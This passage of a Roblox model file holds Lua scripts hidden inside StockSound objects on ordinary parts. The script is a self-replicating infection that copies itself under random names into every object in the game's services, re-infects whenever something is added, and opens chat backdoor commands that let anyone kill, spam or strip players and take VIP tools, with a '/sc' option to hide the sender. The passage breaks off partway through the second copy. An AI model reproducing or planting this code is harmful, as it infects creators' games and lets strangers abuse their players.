							<string name="Name">wcn84mi</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX434">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">b9gch</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX435">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-24.5</X>
							<Y>3.4000001</Y>
							<Z>127.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX436">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">9wwvvg9i</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX437">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">ijo2</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
